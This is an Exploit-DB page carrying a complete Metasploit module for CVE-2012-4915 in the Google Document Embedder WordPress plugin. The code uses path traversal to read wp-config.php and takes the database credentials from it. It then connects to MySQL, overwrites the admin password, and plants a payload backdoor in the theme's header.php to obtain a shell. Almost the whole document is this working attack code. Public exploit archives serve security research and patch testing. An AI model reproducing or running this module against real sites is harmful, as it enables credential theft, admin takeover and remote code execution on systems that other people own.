标题: WordPress Plugin Google Document Embedder - Arbitrary File Disclosure (Metasploit) EDB-ID: 23970 CVE: 2012-4915 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rbmysql'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Auxiliary::Report

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
   'Description'    => %q{
     This module exploits an arbitrary file disclosure flaw in the WordPress
    blogging software plugin known as Google Document Embedder. The vulnerability allows for
    database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
    plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
    server is exposed on a accessible IP and Wordpress has filesystem write access.

    Please note: The admin password may get changed if the exploit does not run to the end.
   },
   'Author'         =>
    [
     'Charlie Eriksen',
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2012-4915'],
     ['OSVDB', '88891'],
     ['URL', 'http://secunia.com/advisories/50832'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Jan 03 2013',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
    OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
    OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
    OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
   ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  plugins_uri = String.new(uri)
  plugins_uri << datastore['PLUGINSPATH']
  plugins_uri << '/' if plugins_uri[-1,1] != '/'

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
  })

  if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  plugins_uri = String.new(uri)
  plugins_uri << datastore['PLUGINSPATH']
  plugins_uri << '/' if plugins_uri[-1,1] != '/'
  admin_uri = String.new(uri)
  admin_uri << datastore['ADMINPATH']
  admin_uri << '/' if plugins_uri[-1,1] != '/'
  themes_uri = String.new(uri)
  themes_uri << datastore['THEMESPATH']
  themes_uri << '/' if plugins_uri[-1,1] != '/'

  print_status('Fetching wp-config.php')
  res = send_request_cgi({
   'method'     => 'GET',
   'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
   'vars_get'   =>
    {
     'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
     'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
    }
  })

  if res and res.body =~ /allow_url_fopen/
   fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
  elsif res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  end

  config = parse_wp_config(res.body)
  if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
   fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
  end
  begin
   @mysql_handle = ::RbMysql.connect({
    :host           => config['DB_HOST'],
    :port           => config['DB_PORT'],
    :read_timeout   => 300,
    :write_timeout  => 300,
    :socket         => nil,
    :user           => config['DB_USER'],
    :password       => config['DB_PASSWORD'],
    :db             => config['DB_NAME']
   })
  rescue Errno::ECONNREFUSED,
   RbMysql::ClientError,
   Errno::ETIMEDOUT,
   RbMysql::AccessDeniedError,
   RbMysql::HostNotPrivileged
   fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
  end
  res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
         INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

  if res.nil? or res.size <= 0
   fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
  end

  user = res.first

  new_password = rand_text_alphanumeric(8)
  @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
  print_warning("Admin password changed to: #{new_password}")

  admin_cookie = get_wp_cookie(uri, user[0], new_password)

  theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

  print_warning("Editing theme #{theme}")
  set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

  print_status("Calling backdoor")
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => "#{themes_uri}#{theme}/header.php",
  })

  if res and res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  end

  set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

  @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

  print_status("Shell should have been acquired. Disabled backdoor")
 end

 def parse_wp_config(body)
  p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
  print_status("wp-config.php saved in: #{p}")
  print_status("Parsing config file")
  values = {}

  body.each_line do |line|
   if line =~ /define/
    key_pair = line.scan(/('|")([^'"]*)('|")/)
    if key_pair.length == 2
     values[key_pair[0][1]] = key_pair[1][1]
    end
   elsif line =~ /table_prefix/
    table_prefix = line.scan(/('|")([^'"]*)('|")/)
    values['DB_PREFIX'] = table_prefix[0][1]
   end
  end
  #Extract the port from DB_HOST and normalize DB_HOST
  values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306

  if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
   print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
   values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
  end

  return values
 end

 def get_wp_cookie(uri, username, password)
  res = send_request_cgi({
   'method'     => 'POST',
   'uri'        => "#{uri}wp-login.php",
   'cookie'     => 'wordpress_test_cookie=WP+Cookie+check',
   'vars_post'  =>
    {
     'log'        => username,
     'pwd'        => password,
     'wp-submit'  => 'Log+In',
     'testcookie' => '1',
    },
  })

  if res and res.code == 200
   fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
  elsif res and res.code != 302
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  end

  admin_cookie = ''
  (res.headers['Set-Cookie'] || '').split(',').each do |cookie|
   admin_cookie << cookie.split(';')[0]
   admin_cookie << ';'
  end

  if admin_cookie.empty?
   fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
  end

  return admin_cookie
 end

 def get_wp_theme(admin_uri, admin_cookie)
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{admin_uri}theme-editor.php?file=header.php",
   'cookie' => admin_cookie,
  })

  if res and res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
   fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
  end

  nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
  old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
  theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s

  return [theme, nonce, old_content]
 end

 def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => "#{admin_uri}theme-editor.php?",
   'cookie'    => admin_cookie,
   'vars_post' =>
    {
     '_wpnonce'   => nonce,
     'theme'      => theme,
     'newcontent' => new_content,
     'action'     => 'update',
     'file'       => 'header.php'
    },
  })

  if res and res.code != 302
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  end
 end

end URL: https://www.exploit-db.com/exploits/23970